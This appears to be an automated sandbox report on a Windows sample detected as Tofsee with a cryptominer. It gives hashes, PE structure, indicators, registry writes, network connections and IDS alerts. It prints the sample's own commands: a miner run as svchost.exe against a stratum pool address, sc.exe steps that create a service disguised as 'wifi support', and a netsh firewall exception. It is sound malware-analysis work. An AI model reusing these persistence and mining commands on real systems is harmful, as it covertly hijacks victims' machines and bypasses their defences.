| File name: | malwareforramzshesh |
| Full analysis: | https://app.any.run/tasks/a965793f-828b-4ad6-b0ce-4a457fb26367 |
| Verdict: | Malicious activity |
| Threats: | Crypto mining malware is a resource-intensive threat that infiltrates computers with the purpose of mining cryptocurrencies. This type of threat can be deployed either on an infected machine or a compromised website. In both cases the miner will utilize the computing power of the device and its network bandwidth. |
| Analysis date: | September 11, 2019, 11:28:29 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/x-dosexec |
| File info: | PE32 executable (GUI) Intel 80386, for MS Windows |
| MD5: | 18E653A213799907D50F4C73501DCDAD |
| SHA1: | 86157EEE85593D939865FBC81818087B7886E18A |
| SHA256: | A3124AD235B57E622664664F544F4AE4CCADA088A2E52110B121281819195033 |
| SSDEEP: | 6144:E5VCb4QuzF3pIozzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzr:i8NKF3p |
MALICIOUS
Uses SVCHOST.EXE for hidden code execution
- tsielhm.exe (PID: 3760)
- svchost.exe (PID: 4028)
Application was dropped or rewritten from another process
- tsielhm.exe (PID: 3760)
TOFSEE was detected
- svchost.exe (PID: 4028)
Looks like application has launched a miner
- svchost.exe (PID: 4028)
SUSPICIOUS
Starts SC.EXE for service management
- malwareforramzshesh.exe (PID: 3980)
Executed as Windows Service
- tsielhm.exe (PID: 3760)
Executable content was dropped or overwritten
- malwareforramzshesh.exe (PID: 3980)
- cmd.exe (PID: 3184)
Starts CMD.EXE for commands execution
- malwareforramzshesh.exe (PID: 3980)
Uses NETSH.EXE for network configuration
- malwareforramzshesh.exe (PID: 3980)
Creates or modifies windows services
- svchost.exe (PID: 4028)
Creates files in the Windows directory
- svchost.exe (PID: 4028)
Application launched itself
- svchost.exe (PID: 4028)
INFO
No info indicators.
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .exe | | | Win32 Executable MS Visual C++ (generic) (67.4) |
|---|---|---|
| .dll | | | Win32 Dynamic Link Library (generic) (14.2) |
| .exe | | | Win32 Executable (generic) (9.7) |
| .exe | | | Generic Win/DOS Executable (4.3) |
| .exe | | | DOS Executable Generic (4.3) |
EXIF
EXE
| MachineType: | Intel 386 or later, and compatibles |
|---|---|
| TimeStamp: | 2018:01:13 11:08:37+01:00 |
| PEType: | PE32 |
| LinkerVersion: | 10 |
| CodeSize: | 58880 |
| InitializedDataSize: | 18944 |
| UninitializedDataSize: | - |
| EntryPoint: | 0x9a6b |
| OSVersion: | 5.1 |
| ImageVersion: | - |
| SubsystemVersion: | 5.1 |
| Subsystem: | Windows GUI |
Summary
| Architecture: | IMAGE_FILE_MACHINE_I386 |
|---|---|
| Subsystem: | IMAGE_SUBSYSTEM_WINDOWS_GUI |
| Compilation Date: | 13-Jan-2018 10:08:37 |
DOS Header
| Magic number: | MZ |
|---|---|
| Bytes on last page of file: | 0x0090 |
| Pages in file: | 0x0003 |
| Relocations: | 0x0000 |
| Size of header: | 0x0004 |
| Min extra paragraphs: | 0x0000 |
| Max extra paragraphs: | 0xFFFF |
| Initial SS value: | 0x0000 |
| Initial SP value: | 0x00B8 |
| Checksum: | 0x0000 |
| Initial IP value: | 0x0000 |
| Initial CS value: | 0x0000 |
| Overlay number: | 0x0000 |
| OEM identifier: | 0x0000 |
| OEM information: | 0x0000 |
| Address of NE header: | 0x000000D8 |
PE Headers
| Signature: | PE |
|---|---|
| Machine: | IMAGE_FILE_MACHINE_I386 |
| Number of sections: | 4 |
| Time date stamp: | 13-Jan-2018 10:08:37 |
| Pointer to Symbol Table: | 0x00000000 |
| Number of symbols: | 0 |
| Size of Optional Header: | 0x00E0 |
| Characteristics: |
|
Sections
Name | Virtual Address | Virtual Size | Raw Size | Charateristics | Entropy |
|---|---|---|---|---|---|
.text | 0x00001000 | 0x0000E4B0 | 0x0000E600 | IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ | 6.47738 |
.rdata | 0x00010000 | 0x00001E9A | 0x00002000 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ | 6.22052 |
.data | 0x00012000 | 0x00001958 | 0x00000200 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE | 1.70856 |
.reloc | 0x00014000 | 0x00000FF2 | 0x00C2D000 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ | 6.48194 |
Imports
ADVAPI32.dll |
KERNEL32.dll |
OLEAUT32.dll |
SHELL32.dll |
USER32.dll |
WS2_32.dll |
dbghelp.dll |
Total processes
53
Monitored processes
12
Malicious processes
3
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 2476 | cmd /C mkdir C:\Windows\system32\pgjcahyi\ | C:\Windows\system32\cmd.exe | malwareforramzshesh.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 2564 | svchost.exe -a cryptonight-heavy -o stratum+tcp://185.86.76.229:8087 -u w1 -p x --nicehash --safe | C:\Windows\system32\svchost.exe | svchost.exe | ||||||||||||
User: SYSTEM Company: Microsoft Corporation Integrity Level: SYSTEM Description: Host Process for Windows Services Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2580 | sc description pgjcahyi "wifi internet conection" | C:\Windows\system32\sc.exe | malwareforramzshesh.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: A tool to aid in developing services for WindowsNT Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2632 | netsh advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\system32\svchost.exe" enable=yes>nul | C:\Windows\system32\netsh.exe | malwareforramzshesh.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Network Command Shell Exit code: 1 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 3000 | "C:\Windows\System32\wusa.exe" | C:\Windows\System32\wusa.exe | — | malwareforramzshesh.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Update Standalone Installer Exit code: 3221226540 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 3184 | cmd /C move /Y "C:\Users\admin\AppData\Local\Temp\tsielhm.exe" C:\Windows\system32\pgjcahyi\ | C:\Windows\system32\cmd.exe | malwareforramzshesh.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 3252 | sc start pgjcahyi | C:\Windows\system32\sc.exe | malwareforramzshesh.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: A tool to aid in developing services for WindowsNT Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 3760 | C:\Windows\system32\pgjcahyi\tsielhm.exe /d"C:\Users\admin\AppData\Local\Temp\malwareforramzshesh.exe" | C:\Windows\system32\pgjcahyi\tsielhm.exe | — | services.exe | |||||||||||
User: SYSTEM Integrity Level: SYSTEM Exit code: 0 Modules
| |||||||||||||||
| 3852 | "C:\Windows\System32\wusa.exe" | C:\Windows\System32\wusa.exe | malwareforramzshesh.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows Update Standalone Installer Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 3940 | sc create pgjcahyi binPath= "C:\Windows\system32\pgjcahyi\tsielhm.exe /d\"C:\Users\admin\AppData\Local\Temp\malwareforramzshesh.exe\"" type= own start= auto DisplayName= "wifi support" | C:\Windows\system32\sc.exe | malwareforramzshesh.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: A tool to aid in developing services for WindowsNT Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
Total events
157
Read events
93
Write events
64
Delete events
0
Modification events
| (PID) Process: | (3980) malwareforramzshesh.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | UNCAsIntranet |
Value: 0 | |||
| (PID) Process: | (3980) malwareforramzshesh.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | AutoDetect |
Value: 1 | |||
| (PID) Process: | (2632) netsh.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\72\52C64B7E |
| Operation: | write | Name: | LanguageList |
Value: en-US | |||
| (PID) Process: | (2632) netsh.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\72\52C64B7E |
| Operation: | write | Name: | @%SystemRoot%\system32\dhcpqec.dll,-100 |
Value: DHCP Quarantine Enforcement Client | |||
| (PID) Process: | (2632) netsh.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\72\52C64B7E |
| Operation: | write | Name: | @%SystemRoot%\system32\dhcpqec.dll,-101 |
Value: Provides DHCP based enforcement for NAP | |||
| (PID) Process: | (2632) netsh.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\72\52C64B7E |
| Operation: | write | Name: | @%SystemRoot%\system32\dhcpqec.dll,-103 |
Value: 1.0 | |||
| (PID) Process: | (2632) netsh.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\72\52C64B7E |
| Operation: | write | Name: | @%SystemRoot%\system32\dhcpqec.dll,-102 |
Value: Microsoft Corporation | |||
| (PID) Process: | (2632) netsh.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\72\52C64B7E |
| Operation: | write | Name: | @%SystemRoot%\system32\napipsec.dll,-1 |
Value: IPsec Relying Party | |||
| (PID) Process: | (2632) netsh.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\72\52C64B7E |
| Operation: | write | Name: | @%SystemRoot%\system32\napipsec.dll,-2 |
Value: Provides IPsec based enforcement for Network Access Protection | |||
| (PID) Process: | (2632) netsh.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\72\52C64B7E |
| Operation: | write | Name: | @%SystemRoot%\system32\napipsec.dll,-4 |
Value: 1.0 | |||
Executable files
2
Suspicious files
2
Text files
0
Unknown types
0
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 4028 | svchost.exe | C:\Windows\system32\config\systemprofile:.repos | binary | |
MD5:— | SHA256:— | |||
| 3184 | cmd.exe | C:\Windows\system32\pgjcahyi\tsielhm.exe | executable | |
MD5:— | SHA256:— | |||
| 3980 | malwareforramzshesh.exe | C:\Users\admin\AppData\Local\Temp\tsielhm.exe | executable | |
MD5:— | SHA256:— | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
4
TCP/UDP connections
32
DNS requests
36
Threats
6
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
4028 | svchost.exe | GET | 302 | 172.217.18.4:80 | http://www.google.com/ | US | html | 231 b | malicious |
4028 | svchost.exe | GET | 302 | 172.217.18.4:80 | http://www.google.com/ | US | html | 231 b | malicious |
4028 | svchost.exe | GET | 302 | 172.217.18.4:80 | http://www.google.com/ | US | html | 231 b | malicious |
4028 | svchost.exe | GET | 302 | 172.217.18.4:80 | http://www.google.com/ | US | html | 231 b | malicious |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
— | — | 108.177.14.27:25 | alt1.gmail-smtp-in.l.google.com | Google Inc. | US | whitelisted |
— | — | 207.211.30.237:25 | us-smtp-inbound-1.mimecast.com | Navisite, Inc. | US | unknown |
— | — | 188.165.47.122:25 | mx1.ovh.net | OVH SAS | FR | unknown |
— | — | 148.163.156.1:25 | mx0a-001b2d01.pphosted.com | Proofpoint, Inc. | US | unknown |
4028 | svchost.exe | 40.76.4.15:80 | microsoft.com | Microsoft Corporation | US | whitelisted |
4028 | svchost.exe | 104.47.54.36:25 | microsoft-com.mail.protection.outlook.com | Microsoft Corporation | US | unknown |
4028 | svchost.exe | 43.231.4.7:443 | — | Gigabit Hosting Sdn Bhd | MY | malicious |
4028 | svchost.exe | 67.195.228.94:25 | mta6.am0.yahoodns.net | Yahoo | US | unknown |
4028 | svchost.exe | 85.114.134.88:484 | — | myLoc managed IT AG | DE | malicious |
4028 | svchost.exe | 148.163.158.5:25 | mx0b-001b2d01.pphosted.com | Proofpoint, Inc. | US | unknown |
DNS requests
Domain | IP | Reputation |
|---|---|---|
microsoft.com |
| whitelisted |
microsoft-com.mail.protection.outlook.com |
| whitelisted |
yahoo.com |
| whitelisted |
mta6.am0.yahoodns.net |
| whitelisted |
142.222.7.212.dnsbl.sorbs.net |
| unknown |
142.222.7.212.bl.spamcop.net |
| unknown |
uk.ibm.com |
| unknown |
mx0b-001b2d01.pphosted.com |
| unknown |
hotmail.it |
| unknown |
eur.olc.protection.outlook.com |
| whitelisted |
Threats
PID | Process | Class | Message |
|---|---|---|---|
4028 | svchost.exe | A Network Trojan was detected | MALWARE [PTsecurity] Tofsee.bot |
4028 | svchost.exe | A Network Trojan was detected | MALWARE [PTsecurity] Tofsee.bot |
4 ETPRO signatures available at the full report